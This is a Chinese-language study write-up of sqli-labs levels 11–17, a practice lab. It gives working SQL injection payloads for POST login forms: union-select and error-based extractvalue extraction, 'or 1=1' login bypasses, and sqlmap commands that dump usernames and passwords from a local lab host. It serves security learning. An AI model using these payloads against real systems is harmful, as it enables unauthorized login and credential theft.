开始时间2023-1-13
【第十一关】基于错误的POST单引号字符型注入
Ⅰ 判断注入点
输入错误,显示failed
输入正确,显示successful
注入以下测试sql,报错“** 1’ limit 0,1** ”
username:1'
password:112
(1)推断
传输参数为uname + passwd
post传输
单引号注入
Ⅱ 注入开始
注入方式1-标准
根据上面的分析,构建下playload
接下来的注入,跟第一关的一样
uname=-1' union select 1,database() #& passwd=
注入方式2-万能公式
看到这里,如果源码的登录sql是写成下面这样的,可以直接使用sql注入的万能句子
username='$name' and password= '$pass'
万能句子
usename:1' or 1=1 #
password:随便输入
-- 解析,注入进去,源码执行的语句是
username=' 1' or 1=1 #' and password = '$pass'
-- 最终执行语句,无论如何,这句话都是成立的,所以登录进去
username='1' or 1=1
注入方式3
利用sqlmap,一步得出(感觉超爽)
回显数据库
python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-11/' --data "uname=1&passwd=11&submit=Submit" --dbs
爆表名
python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-11/' --data "uname=1&passwd=11&submit=Submit" -D security --tables --batch
爆列表名
python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-11/' --data "uname=1&passwd=11&submit=Submit" -D security -T users -columns --batch
爆数据
python sqlmap.py -u 'http://192.168.60.128/sqli-labs/Less-11/' --data "uname=1&passwd=11&submit=Submit" -D security -T users -C 'id,password,username' --dump --batch
【第十二关】基于错误的POST双引号字符
Ⅰ 判断注入点
username= \ & password= -- 报错:'1") LIMIT 0,1'
推断
双引号注入
闭合
Ⅱ 正常注入
palyload
uname=-1") union 1,database() # &passwd= &submit=Submit
参考第十一关
【第十三关】基于POST单引号双注入变形
Ⅰ 判断注入点
username= \
passwd=
-- 提交
报错信息出来了,是单引号+单闭合
Ⅱ 常规注入
(1)判断回显
-1') union select 1,2,3 # -- false
(2)爆数据库
发现只显示登录成功,而不显示执行结果,两种办法解决
- 报错注入
- 延时注入
-1') union select 1,database() #
1') and extractvalue('~', concat('~',(select database() ) ) ) #
跟第五关方法一致
(3)爆数据
1') and extractvalue('~', concat('~',(select concat_ws('~',username,password) from security.users limit 0,1) ) ) #
Ⅲ 万能公式
不知道账号密码情况下,直接登录网站
username= 1') or 1=1 #
password=
Ⅳ sqlmap注入
python sqlmap.py -u http://192.168.60.128/sqli-labs/Less-13 --data "uname=1&passwd=11&submit=Submit" --dbs --batch
【第十四关】基于POST双引号双注入变形
Ⅰ 判断注入点
username=1\
password=
双引号注入
Ⅱ sqlmap
python sqlmap.py -u http://192.168.60.128/sqli-labs/Less-14/index.php --data "uname=1&passwd=11&Submit=submit" --dbs --batch
需要提高注入深度等级
-- 在sql语句中添加这个
--level=5 --risk=3
Ⅲ 常规注入
具体步骤和第十三关一样的解法,在这里,我就直接放最后的注入结果
1" and extractvalue('~', concat('~',(select concat_ws('~',username,password) from security.users limit 0,1) ) ) #
【第十五关】基于POST单引号布尔型时间盲注
万能注入可以
Ⅰ 判断注入点
测试注入点,以下的都没有回显sql执行消息,只有登录失败
1' and 1=1 #
1' and 1=2 #
\
数字型注入全是登录失败,有点问题,采用字符型注入试一下
admi 失败
admi' 失败
admi' # -- 失败,单引号+注释
admin' # -- 成功
推测
- 注入点:单引号
- 不回显执行信息,只能通过延时注入或者ASCILL注入
Ⅱ 常规注入
看了一些解读,都是用usename=admin’ # & passwd=12&submit=Submit
但我用其他字符替代admin,就无法执行sql语句,例如 下面这一条句子,就不可以使用
usename=admin' order by 2#&passwd=12&submit=Submit -- 成功登录
usename=1' order by 2#&passwd=12&submit=Submit -- 失败
usename=asdb' order by 2#&passwd=12&submit=Submit -- 失败
用admin注入,admin是该靶场的测试账号密码之一,可行,不过不推荐用手动注入的方法,很麻烦
Ⅲ sqlmap
python sqlmap.py -u http://192.168.60.128/sqli-labs/Less-15/ --data "uname=1&passwd=11&Submit=submit" --dbs --batch --level=5 --risk=3
【第十六关】基于POST双引号布尔型时间盲注
Ⅰ 判断注入点
先找注入点,但是试了前面一些常规方法,都没显示出来
(1)源码解析
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
推断:双引号+单闭合 注入
测试,只在username框上填写
1") # -- 失败
asd") # -- 失败
admin") # -- 成功
Ⅱ 万能sql语句
1") or 1=1#
Ⅲ 常规注入
(1)爆列数
--报错
uname=admin") order by 3#&passwd=&submit=Submit
-- 正常登录
uname=admin") order by 2#&passwd=&submit=Submit
(2)爆回显
-- 成功登录
uname=admin") union select 1,2#&passwd=&submit=Submit
-- 报错
uname=admin") union select 1,2,3#&passwd=&submit=Submit
常规的布尔注入 参考他人博客
Ⅳ sqlmap注入
python sqlmap.py -u http://192.168.60.128/sqli-labs/Less-16/ --data "uname=1&passwd=11&Submit=submit" --technique=T --dbs --level=5 --risk=3 --parse-errors
评价:被延时注入恶心到了,sqlmap注入也挺耗时间的
跑了几分钟的sqlmap,才得到一些数据
途中还出现了sqlmap报错
报错信息:sqlmap identified the following injection points with a total of 0 HTTP(s) requests
添加两条句子
--parse-errors --technique=T
【第十七关】
Ⅰ 判断注入点
输入常规的测试sql,例如\,都显示”BUG OFF YOU SILIY DUMB HACKER“
推测:存在过滤
数字型注入不行,试一下字符型
账号输入admin,发现登录进去了
账号密码都输入admin,也进去了,没有反馈具体自行信息
输入admin,密码输入 \,报错,说明注入点在密码这里
在输入一些注入sql,如123’ union 1,database(),不回显执行信息
推测
- 密码框
- 单引号
- 注入方式
- 报错注入
- 延时注入
Ⅱ 源码分析
Ⅲ 报错注入
在这里,用extractvalue 或者updatexml,都是一样的,最大的区别是updatexml多了一个参数
(1)查看列表
-- 分别在username和password的输入框输入
admin
1' order by 2#
(2)爆数据库
' and extractvalue(null,concat(0x7e,database(),0x7e))#
(3)爆表名
结果:emails,referers,uagents,users’
1' and extractvalue('anything',concat( '~', (select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'))#
(4)爆字段
‘id,password,username’
1' and extractvalue('anything',concat( '~', (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~'))#
(5)爆数据
1' and extractvalue('anything',concat( 0x7e, (select group_concat(id,username,password) from users)))#
报错,提示如下
You can’t specify target table ‘users’ for update in FROM clause 1
这个报错主要是因为不能在筛选数据的同时,进行数据更新,外面可以用临时表的方法,实现数据筛选和数据更新
123' and extractvalue(1,concat(0x7e,(select concat(id,' ',password,username) from (select id,password,username from users limit 0,1)a)))#
Ⅳ sqlmap注入
python sqlmap.py -u http://192.168.60.128/sqli-labs/Less-17/ --data "uname=admin&passwd=password&submit=Submit" --current-db --threads 8 --technique E